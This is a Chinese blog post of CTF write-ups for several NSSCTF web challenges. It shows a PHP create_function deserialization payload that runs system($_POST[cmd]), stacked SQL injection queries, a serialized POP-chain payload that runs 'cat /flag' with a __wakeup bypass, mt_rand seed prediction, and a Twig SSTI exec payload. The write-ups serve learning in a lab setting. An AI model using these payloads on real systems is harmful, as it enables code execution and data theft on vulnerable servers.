NSSCTF第15页(3)
?[FSCTF 2023]CanCanNeed
这道题有一个简单的反序列化,然后正则限制了很多函数
看了wp才知道利用的函数是create_function()函数
create_function()函数利用_create function函数的用法-CSDN博客
PHP代码 之create_function()函数-CSDN博客
<?php
class Noteasy{
??? protected $param1= "create_function";
??? protected $param2="};system(\$_POST[cmd]);//";}
$a= new Noteasy();
echo base64_encode(serialize($a));
看目录
?看flag
[HNCTF 2022 WEEK4]fun_sql
源码
分析一下,首先是过滤了一些关键字,给出了sql查询语句为单引号闭合;然后是mysqli_multi_query()函数可以处理多条语句,那么可以使用堆叠注入;最后检测查询结果第二位是否为变量uname的值,如果是则返回flag
?uname=-1' union select 1,2,3;#
知道了回显位之后,就可以进行注入,但是这道题限制了太多,就可以直接插入一个uname=1
然后再进行查询就可以得到flag
?uname=-1' union select 1,2,3;insert into ccctttfff value(1,1,1);#
得到了flag
第一次做这种题,和二次注入感觉有点类似,但是又不一样
?[SWPUCTF 2023 秋季新生赛]UnS3rialize
反序列化,考察pop链的构造
class?NSS
{
????public?$cmd;
????function?__invoke()
????{
????????echo?"Congratulations!!!You?have?learned?to?construct?a?POP?chain<br/>";
????????system($this->cmd);
????}
????function?__wakeup()
????{
????????echo?"W4keup!!!<br/>";
????????$this->cmd?=?"echo?Welcome?to?NSSCTF";
????}
}
?
在NSS类里看到了system函数,知道这是pop链的终端,调用的__invoke()函数
__invoke()魔术方法 : 将对象当作函数来使用时执行此方法
class?C
{
????public?$whoami;
????function?__get($argv)
????{
????????echo?"what?do?you?want?";
????????$want?=?$this->whoami;
????????return?$want();
????}
}
继续向上找,就是在C
类的return $want();
中,在这里want
被当做函数处理,触发方式便是__get()
魔术方法
__get() :获得一个类的成员变量时调用,用于从不可访问的成员获取值的时候触发
class?T
?
{
????public?$sth;
????function?__toString()
????{
????????echo?"Now?you?know?how?to?use?__toString<br/>There?is?more?than?one?way?to?trigger";
????????return?$this->sth->var;
????}
}
向上找,在T类中的return $this->sth->var;这里希望返回sth类中的var属性,但是不存在,所以可以通过该语句触发__get()魔术方法,但是前提是先触发__toString()魔术方法
??? __toString(): 当一个对象被当作字符串使用时触发
class?F
{
????public?$user?=?"nss";
????public?$passwd?=?"ctf";
????public?$notes;
????function?__construct($user,?$passwd)
????{
????????$this->user?=?$user;
????????$this->passwd?=?$passwd;
????}
????function?__destruct()
????{
????????if?($this->user?===?"SWPU"?&&?$this->passwd?===?"NSS")?{
????????????????echo?"Now?you?know?how?to?use?__construct<br/>";
????????????????echo?"your?notes".$this->notes;
????????}else{
????????????die("N0!");
????????}
????}
}?
最后便是在F类中的__destruct()魔术方法的echo语句,将notes作为字符串处理,这便是pop链的触发点,因为__desrtuct()会自动触发
??? __destruct() :对象被销毁时触发
最后还要注意有一个__wakeup()函数需要绕过
pop链
F::__desrtuct()->T::__toString()->C::__get()->NSS::__invoke()
?
?修改一下数量
O:1:"F":3:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":1:{s:3:"cmd";s:4:"ls /";}}}}
O:1:"F":4:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":1:{s:3:"cmd";s:4:"ls /";}}}}
进行base64编码
?ser=TzoxOiJGIjo0OntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2hvYW1pIjtPOjM6Ik5TUyI6MTp7czozOiJjbWQiO3M6NDoibHMgLyI7fX19fQ==?
cat /flag
O:1:"F":4:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":1:{s:3:"cmd";s:9:"cat /flag";}}}}
得到flag
?ser=TzoxOiJGIjo0OntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2hvYW1pIjtPOjM6Ik5TUyI6MTp7czozOiJjbWQiO3M6OToiY2F0IC9mbGFnIjt9fX19==?
?[UUCTF 2022 新生赛]phonecode
题目提示是你能猜到验证码吗?
进去之后发现hint的数字一直在变
当手机号和验证码都是1的时候,发现没在变了
结合mt_srand和mt_rand函数 当设置的种子确定(此处的种子时输入的手机号)时,每次的mt_rand都是固定的 我们可以猜测hint就是mt_rand的第一次,而目的验证码就是mt_rand的第二次?
我们写代码 弄出第二次的mt_rand
mt_srand(123);
echo mt_rand()."\n"; //895547922
echo mt_rand()."\n"; //2141438069
输入第二次的验证码,得到了flag
主要还是伪随机的验证
?[BJDCTF 2020]Cookie is so subtle!
在hint页面的代码
输入{{7*7}}得到的49,知道了是模板注入
?{{7*'7'}}会在 Twig 中返回49,而在 Jinja2 中则是7777777
输入了之后发现是twig模板
注入发现被限制了
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("ls /")}}
结合题目,应该是要admin登录,cookie认证
应该是要user传参了
看目录显示不全
得到flag
?
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!